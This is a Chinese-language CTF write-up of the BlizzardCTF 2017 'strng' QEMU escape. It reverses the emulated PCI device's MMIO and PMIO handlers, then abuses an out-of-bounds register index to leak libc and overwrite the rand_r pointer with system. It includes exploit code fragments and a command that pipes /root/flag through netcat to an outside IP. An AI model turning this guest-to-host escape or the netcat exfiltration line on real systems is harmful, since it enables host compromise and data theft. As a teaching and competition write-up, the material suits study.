前面的部分更多的是翻译和学习
熟悉题目
我们在qemu题目中中经常看到一些简写
内存映射I/O (Memory-mapped I/O —— MMIO)
端口映射I/O (port-mapped I/O —— PMIO)
qemu的漏洞一般在设备中,这个题目是一个PCI设备模拟器的漏洞
首先看看是哪个设备,可以从qemu的-device参数中看到设备名是strng
1 | ./qemu-system-x86_64 \ |
由于qemu-system-x86_64程序是有符号的,所以在ida可以搜到相关函数
在strng_class_init这函数里面可以看到设备id是0x11E9
1 | void __fastcall strng_class_init(ObjectClass_0 *a1, void *data) |
上面的数字可以跟下面的倒数第二个意义对应
1 | ubuntu@ubuntu:~$ lspci |
-v可以查看更加详细信息,看到内存是0xfebf1000的256字节大小的,PMIO端口是0xc050开始的8个端口号
1 | ubuntu@ubuntu:~$ lspci -v |
我们在目录中也可以看到这个设备的文件
1 | ubuntu@ubuntu:~$ ll /sys/devices/pci0000\:00/0000:00:03.0/ |
查看设备id是device目录
1 | ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device |
查看映射可以看resource(三列分别是开始地址 结束地址 标志),第一行是MMIO,第二行是PMIO
1 | ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000:00:03.0/resource |
查看IO端口命令是,我这有点问题,看到的都是0000
1 | ubuntu@ubuntu:~$ cat /proc/ioports |
接下来我们回到ida,查看pci_strng_realize函数,这里注册了一些MMIO和PMIO的操作,去读写映射的内存
1 | void __fastcall pci_strng_realize(PCIDevice_0 *pdev, Error_0 **errp) |
以第一个strng_mmio_ops,哪里有对于读写对应的函数指针
1 | .data.rel.ro:0000000000A4A2A0 strng_mmio_ops dq offset strng_mmio_read; read |
调试
这个我直接copy参考文章作者的了,为了方便调试,关闭了aslr,那么PIE也是不起作用了
还有不推荐使用kvm模式,据说会让你的vm变得很快,具体我之后可能会都试试有什么差别,将原因写在这,也许不会写。
1 | $ cat comline.txt |
-q模式可以让gdb不输出版本信息,更加清爽
1 | $ gdb -q ./qemu-system-x86_64 |
MMIO相关函数
我们设置一下opaque的结构体为STRNGState就可以了,不然看到的就只是opaque指针加上偏移了(当然这个题目将源码开源才能知道这个opaque时STRNGState,不然就只能将就这看了)
1 | uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size) |
strng_mmio_read接收地址还有大小,而且需要size为4,而且地址最低两个bit都是0
1 | void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
上面ida反编译错误的,上面的是rand函数是没有参数的(当然接下来贴的函数也会有这样的问题),
这个函数也是需要size为4,而且地址最低两个bit都是0。
上面对要写入的地址右移两个bit再进行判断,其实赋值的地址跟地址相关的是在最后一行,好像我们可以控制写入的地址,但是遗憾的是PCI设备内部会检查你写入的地址时不时在256字节范围
PMIO函数
在前面查看pci设备的时候,我们已经知道I/O ports是映射在0xc050处的8个字节
下面函数可以看到我们的地址只能是0或者4,那么就是对0xc050或者0xc054进行读写操作
1 | uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size) |
下面是write的
1 | void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size) |
上面可以看到,我们通过strng_pmio_write的addr为0分支(即写port:0xc050)控制opaque->addr,之后可以通过strng_pmio_read的addr==4
分支可以任意读,通过strng_pmio_write的addr==4
分支又可以任意写。
所以就是写入0xc050就是写入到opaque->addr
写入0xc054就是将我们的val写到opaque->regs[opaque->addr >> 2] 位置
uaf.io作者给出了一些访问port I/O的方法
1、通过dd命令访问resource1
1 | dd if=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 - read the index 0 |
2、通过dd命令访问/dev/port,不过由于/dev/port是字符设备,是一个字符一个字符访问的,所以不满足size==4的要求
3、当然还是通过in/out系列函数访问比较好
下面是其中两个函数在io.h文件的代码
1 | static __inline unsigned int |
但是我们需要权限才能访问端口,0x000-0x3ff可以用ioperm(from, num, turn_on)
比如ioperm(0x300,5,1); 给 0x300 到 0x304 端口的访问权限
但是更高的端口就要用iopl(3)来获得权限,这个可以获得范围所有端口权限。当然我们需要root用户来运行程序才行。
in,out系列函数如下,分别是写入/读取一个字节(b结尾),两个字节(w结尾),四个字节(l结尾)
1 | #include <sys/io.h > |
漏洞利用
利用思路
1、通过strng_pmio_write和strng_pmio_read去泄露libc,因为STRNGState里面有三个函数指针
2、我们将我们要执行的命令通过strng_mmio_write写到对应的内存
3、最后我们将rand_r函数指针覆盖为system去执行我们的命令
我们先调试看看内存,用dd命令向0xc050写入一个4吧
1 | ubuntu@ubuntu:~$ echo 4 > test |
那gdb这边就会断下来了
1 | Thread 4 "qemu-system-x86" hit Breakpoint 4, strng_pmio_write (opaque=0x555557e2b8c0, addr=0x0, val=0xa34, size=0x2) at /home/rcvalle/qemu/hw/misc/strng.c:91 |
由于echo有换行所以数字4(0x34)后面会有0x0a,所以导致最终val时0xa34,而且size时2,所以我们还是写三个东西到test里面,加上换行就是4个了
1 | ubuntu@ubuntu:~$ echo 666 > test |
看一下数据结构,可以看到我们操作的东西都在addr及后面地址,所以0xfa0偏移相当于我们的起始偏移(偏移为0的位置)
1 | 00000000 STRNGState struc ; (sizeof=0xC10, align=0x10, copyof_3815) |
而randr_r距离addr时0x118
1 | >>> hex(0xc08-0xaf0) |
调试到 0x555555964598 <strng_pmio_write+120> mov dword ptr [rdi + 0xaf0], edx
的下一行!!!
查看内存,可以看到我们的666已经写进去了,包括换行,而且最后那三个就是srand,rand,rand_r函数指针
1 | gdb-peda$ x /36gx $rdi + 0xaf0 |
我们先泄露srand的值(即上面的0x00007ffff65268d0),由于我用的是ubuntu 16.04运行的qemu,所以我们泄露两次,一次泄露4个字节,先看看偏移
泄露的代码是result = opaque->regs[v4 >> 2];
,所以偏移是相对于opaque->regs,regs偏移是0xaf4,而且regs是uint_t32数组
1 | gdb-peda$ x /wx $rdi + 0xaf4 + 0x104 |
泄露简析:
先写好pmio的读和写
1 | void pmio_write(unsigned int val, unsigned int addr) { |
之后我们就可以读取了
1 | if (0 != iopl(3)) { |
我们看看调试中状态,先往opaque->addr
写入0x108
1 | gdb-peda$ x /gx $rdi +0xaf0 |
再到strng_pmio_read
那里泄露出来
1 | 0x555555964501 <strng_pmio_read+81> mov eax, dword ptr [rdi + rdx*4 + 0xaf4] |
查看下内存,先泄露的高4为,同理低四位也如此
1 | gdb-peda$ x /wx $rdi + $rdx*4 + 0xaf4 |
那我们就可以获得srand的地址
1 | ubuntu@ubuntu:~$ sudo ./exp |
接下里是我们写入的命令"cat /root/flag | nc 192.168.52.181 12345"
,ip端口自行修改,但是总长度最好是4的倍数,不然最后自己补\x00了
1 | >>> from pwn import * |
值得注意的是我们写入0xc偏移的时候,会进入到rand_r分支,导致opaque->regs[2]的位置被更改,不信看看rand_r的源码
1 | int |
所以这样写是有问题的,知道参考文章为何掉转过来了吧
1 | mmio_write(0x20746163, 8); |
要这样写
1 | mmio_write(0x6f6f722f, 0xc); |
最后就是改写rand_r指针,调用rand_r了
1 | // 改写rand_r指针为system |
调用rand_r通过pmio也行
1 | // 或者调用pmio也行(下面的666也是随意) |
最终完整exp
1 | #include <stdio.h> |
在主机伪造一个flag文件,就可以收到flag了
或者来个弹计算器也行,这个好像很装逼。。。
system(“gnome-calculator”)就行
补充——关于编译与上传exp
编译一般是静态编译了,这里目标系统是32的,本地调试上传exp我用scp,比赛的话据说是用base64。。。。。
我写了个脚本,但是第二条命令,需要先ssh正常连接一次,信任那个公钥,才能正常使用
1 | giantbranch@ubuntu:~/qemu_escape$ cat compile_uploadexp.sh |
参考
主要参考
https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html
其他参考
https://ray-cp.github.io/archivers/qemu-pwn-basic-knowledge
https://web.cs.elte.hu/local/Linux-bible/IO-Port-Programming/node2.html
http://man7.org/linux/man-pages/man2/ioperm.2.html